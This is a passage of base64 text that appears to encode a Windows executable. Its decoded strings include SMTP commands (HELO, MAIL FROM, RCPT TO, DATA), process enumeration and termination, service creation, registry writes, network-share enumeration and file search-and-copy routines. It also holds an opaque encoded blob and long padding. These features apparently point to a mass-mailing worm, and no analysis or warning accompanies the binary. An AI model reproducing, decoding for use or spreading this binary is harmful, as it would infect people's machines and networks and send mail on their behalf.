AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAVH9D8BQUFBT0qqiqsqqoqrgiuq 6kdI6WuKSOlrik8BYSuKgiuq6kdrykBgT4nrCWoIqoqCiuvJRwtqCctPy2qLayuCK6rqR2pr Kk9KqoqrKqqKq4IrqupHaKrp6utPSqqKqyqqiquCK6rqR8mq6k+pa2pKa4qrgiuq6oJKKkfp ywtPiesJagiqioKK68lHKWopT0qqiqsqqoqrgiuq6kfJawsL60/LaotrK4IrqupHC+kpSk+J 6wlqCKqKgorryUfq6SprT6kL4gprSWuKgiuqggpJR8mqKmiqT6kL4gprSWuKgiuqggpJR0nr yesJTwmqKyqpqqrLgiuq6oJKKkcq64rqa4pPCaorKqmqqsuCK6rqgkoqRyorqaqKq08Jqisq qaqqy4IrquqCSipHC6qKyuvrTwmqKyqpqqrLgiuq6oJKKkfqawlqa4phTwmqKyqpqqrLgiuq 6oJKKkfry+qqistPCaorKqmqqsuCK6rqgkoqRynJ64nriiqqSk/K6ykrSmsrqoIrquqCKatH i2uKimhPCaorKqmqqsuCK6rqgkoqR0lryQlqCGpr4ilrqk/K6ykrSmsrqoIrquqCCwlHCusJ 6+poyWuKT8rrKStKayuqgiuq6oIpq0fKyUopqU+vze+Cju/NR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH 